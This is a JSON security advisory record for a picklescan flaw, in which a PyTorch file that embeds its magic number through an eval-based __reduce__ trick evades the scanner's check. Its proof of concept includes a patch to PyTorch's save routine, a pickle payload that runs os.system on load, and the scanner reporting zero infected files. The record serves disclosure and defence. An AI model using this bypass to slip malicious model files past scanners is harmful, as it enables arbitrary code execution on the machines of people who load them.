{"id":"CVE-2026-53875","aliases":["GHSA-97f8-7cmv-76j2","PYSEC-2026-2873"],"url":"https://o3.security/vulnerability/CVE-2026-53875","summary":"picklescan - Scanning Bypass via Dynamic Eval in scan_pytorch","details":"### Summary\nThis is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\\_\\_reduce\\_\\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.\n\n### PoC\n#### Attack Step 1\nwe can edit the source code of the function [\\_legacy\\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows:\n```Python\n    class payload:\n        def __reduce__(self):\n            return (eval, ('MAGIC_NUMBER',))\n\n    pickle_module.dump(payload(), f, protocol=pickle_protocol)\n```\n#### Attack Step 2\nwith the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:\n```Python\nimport torch \n\nclass payload:\n    def __reduce__(self):\n        return (__import__('os').system, ('touch /tmp/hacked',))\n\ntorch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)\n```\n\n#### Picklescan result\n```\nERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356\n----------- SCAN SUMMARY -----------\nScanned files: 0\nInfected files: 0\nDangerous globals: 0\n```\n\n#### Victim Step\n```Python\nimport torch\ntorch.load('./payload.pt', weights_only=False)\n```\nthen you can find the illegal file `/tmp/hacked` created in your local system.\n\n### Impact\nCraft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.","published":"2026-06-17T15:05:04.255Z","modified":"2026-08-12T03:51:13.531538935Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"picklescan","fixedVersion":"1.0.3"}],"fix":{"url":"https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89","label":"mmaitre314/picklescan@1341794"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53875.json"},{"type":"ADVISORY","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53875"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch"},{"type":"FIX","url":"https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89"},{"type":"FIX","url":"https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:13.531538935Z"}}